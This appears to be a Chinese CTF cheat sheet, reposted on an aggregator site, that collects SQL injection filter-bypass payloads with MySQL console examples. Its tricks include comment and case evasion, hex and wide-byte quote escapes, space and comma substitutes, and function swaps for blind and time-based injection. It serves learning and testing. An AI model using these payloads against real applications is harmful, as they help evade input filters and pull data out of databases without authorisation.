前言
SQL在CTF每一次比赛中基本上都会出现,所以有了这一篇总结,防忘,最后更新于2018/10/11。
简而言之:SQL注入用户输入的数据变成了代码被执行
1
2string sql = "select id,no from user where id=" + id;
我们希望用户输入的 id 的值,仅仅是一个字符串,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 是作为了 sql语句 来执行的。
sql注入绕过
注释符号绕过
常用的注释符有
1
2
3
4
5
6-- 注释内容 # 注释内容 /*注释内容*/ ;
实例
1
2
3
4
5
6
7
8mysql> select * from users -- where id = 1; -> ; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | | 2 | user2 | pass1 |
1
2
3
4
5
6
7
8mysql> select * from users # where id = 2; -> ; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | | 2 | user2 | pass1 |
1
2
3
4
5
6
7
8
9mysql> select * from users where id = 3 /*+1*/ -> ; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | test3 | pass1 | +----+----------+----------+ 1 row in set (0.00 sec)
大小写绕过
常用于 waf
的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。
例如:waf过滤了关键字select
,可以尝试使用Select
等绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17mysql> select * from users where id = -1 union select 1,2,3 -> ; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ 1 row in set (0.00 sec) #大小写绕过 mysql> select * from users where id = -1 union Select 1,2,3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+
内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/
中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
1
2
3
4
5
6
7mysql> select * from users where id = -1 union /*!select*/ 1,2,3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+
双写关键字绕过
在某一些简单的waf
中,将关键字select
等只使用replace()
函数置换为空,这时候可以使用双写关键字绕过。例如select
变成seleselectct
,在经过waf
的处理之后又变成select
,达到绕过的要求。
特殊编码绕过
- 十六进制绕过
1
2
3
4
5
6
7mysql> select * from users where username = 0x7465737431; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+
- ascii编码绕过
Test
等价于
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
tip:好像新版mysql不能用了
空格过滤绕过
一般绕过空格过滤的方法有以下几种方法来取代空格
1
2
3
4
5
6
7/**/ () 回车(url编码中的%0a) `(tap键上面的按钮) tap 两个空格
实例
1
2
3
4
5
6
7
8
9mysql> select/**/*/**/from/**/users; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | | 2 | user2 | pass1 | | 3 | test3 | pass1 | +----+----------+----------+
1
2
3
4
5
6
7
8
9#注意括号中不能含有* mysql> select(id)from(users); +----+ | id | +----+ | 1 | | 3 |
1
2
3
4
5
6
7
8
9
10
11
12mysql> select -> * -> from -> users -> where -> id = 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+
1
2
3
4
5
6
7mysql> select`id`from`users`where`id`=1; +----+ | id | +----+ | 1 | +----+
过滤or and xor not 绕过
1
2
3
4
5and = && or = || xor = | # 异或 not = !
过滤等号=绕过
- 不加
通配符
的like
执行的效果和=
一致,所以可以用来绕过。
正常加上通配符的like
:
1
2
3
4
5
6
7
8mysql> select * from users where username like "test%"; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | | 3 | test3 | pass1 | +----+----------+----------+
不加上通配符的like
可以用来取代=
:
1
2
3
4
5
6
7mysql> select * from users where id like 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+
- rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
用来取代=
时,rlike
的用法和上面的like
一样,没有通配符效果和=
一样
1
2
3
4
5
6
7mysql> select * from users where id rlike 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+
- regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
1
2
3
4
5
6
7mysql> select * from users where id regexp 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+
- 使用大小于号来绕过
1
2
3
4
5
6
7mysql> select * from users where id > 1 and id < 3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | user2 | pass1 | +----+----------+----------+
- <> 等价于 !=
所以在前面再加一个!
结果就是等号了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16mysql> select * from users where !(id <> 1); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id = 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+ 1 row in set (0.00 sec)
等号绕过也可以使用strcmp(str1,str2)函数、between关键字等,具体可以参考后面的过滤大小于号绕过
过滤大小于号绕过
在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过
- greatest(n1, n2, n3…):返回n中的最大值
1
2
3
4
5
6
7mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+
-
least(n1,n2,n3…):返回n中的最小值
-
strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
1
2
3
4
5
6
7
8
9
10
11mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116); Empty set (0.00 sec)
- in关键字
1
2
3
4
5
6
7
8
9
10
11mysql> select * from users where id = 1 and substr(username,1,1) in ('t'); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+ 1 row in set (0.01 sec) mysql> select * from users where id = 1 and substr(username,1,1) in ('y'); Empty set (0.00 sec)
- between a and b:范围在a-b之间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20mysql> select * from users where id between 1 and 2; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | | 2 | user2 | pass1 | +----+----------+----------+ 2 rows in set (0.00 sec) mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 'b'; Empty set (0.00 sec) mysql> select * from users where id = 1 and substr(username,1,1) between 'a' and 't'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+ 1 row in set (0.00 sec)
使用between a and b判等
1
2
3
4
5
6
7mysql> select * from users where id = 1 and substr(username,1,1) between 't' and 't'; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | +----+----------+----------+
过滤引号绕过
- 使用十六进制
1
2select column_name from information_schema.tables where table_name=0x7573657273;
- 宽字节
常用在web应用使用的字符集为GBK
时,并且过滤了引号,就可以试试宽字节。
1
2
3# 过滤单引号时 %bf%27 %df%27 %aa%27
1
2%df’ = %df%5c%27=縗’
过滤逗号绕过
sql盲注时常用到以下的函数:
- substr()
- substr(string, pos, len):从pos开始,取长度为len的子串
- substr(string, pos):从pos开始,取到string的最后
- substring()
- 用法和
substr()
一样
- 用法和
- mid()
- 用法和
substr()
一样,但是mid()
是为了向下兼容VB6.0
,已经过时,以上的几个函数的pos都是从1开始的
- 用法和
- left()和right()
- left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
- limit
- limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
- ascii()和char()
- ascii(char):把char这个字符转为ascii码
- char(ascii_int):和ascii()的作用相反,将ascii码转字符
回到正题,如果waf过滤了逗号,并且只能盲注(盲注基本离不开逗号啊喂),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len
,其中pos代表从pos个开始读取len长度的子串
例如在substr()
等函数中,常规的写法是
1
2
3
4
5
6
7mysql> select substr("string",1,3); +----------------------+ | substr("string",1,3) | +----------------------+ | str | +----------------------+
- 如果过滤了逗号,可以这样使用
from pos for len
来取代
1
2
3
4
5
6
7
8mysql> select substr("string" from 1 for 3); +-------------------------------+ | substr("string" from 1 for 3) | +-------------------------------+ | str | +-------------------------------+ 1 row in set (0.00 sec)
在sql盲注中,如果过滤逗号,以下参考下面的写法绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15mysql> select ascii(substr(database() from 1 for 1)) > 120; +----------------------------------------------+ | ascii(substr(database() from 1 for 1)) > 120 | +----------------------------------------------+ | 0 | +----------------------------------------------+ 1 row in set (0.00 sec) mysql> select ascii(substr(database() from 1 for 1)) > 110; +----------------------------------------------+ | ascii(substr(database() from 1 for 1)) > 110 | +----------------------------------------------+ | 1 | +----------------------------------------------+
- 也可使用
join
关键字来绕过
1
2
3
4
5
6
7
8
9
10mysql> select * from users union select * from (select 1)a join (select 2)b join(select 3)c; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | | 2 | user2 | pass1 | | 3 | test3 | pass1 | | 1 | 2 | 3 | +----+----------+----------+
其中的
1
2union select * from (select 1)a join (select 2)b join(select 3)c
等价于
1
2union select 1,2,3
- 使用
like
关键字
适用于substr()
等提取子串的函数中的逗号
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21mysql> select ascii(substr(user(),1,1))=114; +-------------------------------+ | ascii(substr(user(),1,1))=114 | +-------------------------------+ | 1 | +-------------------------------+ mysql> select user() like "r%"; +------------------+ | user() like "r%" | +------------------+ | 1 | +------------------+ mysql> select user() like "t%"; +------------------+ | user() like "t%" | +------------------+ | 0 | +------------------+
- 使用offset关键字
适用于limit
中的逗号被过滤的情况
limit 2,1
等价于limit 1 offset 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14mysql> select * from users limit 2,1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | test3 | pass1 | +----+----------+----------+ mysql> select * from users limit 1 offset 2; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | test3 | pass1 | +----+----------+----------+
过滤函数绕过
- sleep() -->benchmark()
1
2
3
4
5
6
7
8mysql> select 12,23 and sleep(1); +----+-----------------+ | 12 | 23 and sleep(1) | +----+-----------------+ | 12 | 0 | +----+-----------------+ 1 row in set (1.00 sec)
1
2
3
4
5
6
7
8
9
10# MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式 mysql> select 12,23 and benchmark(1000000000,1); +----+--------------------------------+ | 12 | 23 and benchmark(1000000000,1) | +----+--------------------------------+ | 12 | 0 | +----+--------------------------------+ 1 row in set (4.61 sec)
- ascii()–>hex()、bin()
替代之后再使用对应的进制转string即可 - group_concat()–>concat_ws()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16mysql> select group_concat("str1","str2"); +-----------------------------+ | group_concat("str1","str2") | +-----------------------------+ | str1str2 | +-----------------------------+ 1 row in set (0.00 sec) #第一个参数为分隔符 mysql> select concat_ws(",","str1","str2"); +------------------------------+ | concat_ws(",","str1","str2") | +------------------------------+ | str1,str2 | +------------------------------+
- substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
- user() --> @@user、datadir–>@@datadir
- ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。
后言
暂时留空,慢慢更新
最后
以上就是奋斗龙猫最近收集整理的关于sql注入绕过方法总结的全部内容,更多相关sql注入绕过方法总结内容请搜索靠谱客的其他文章。
发表评论 取消回复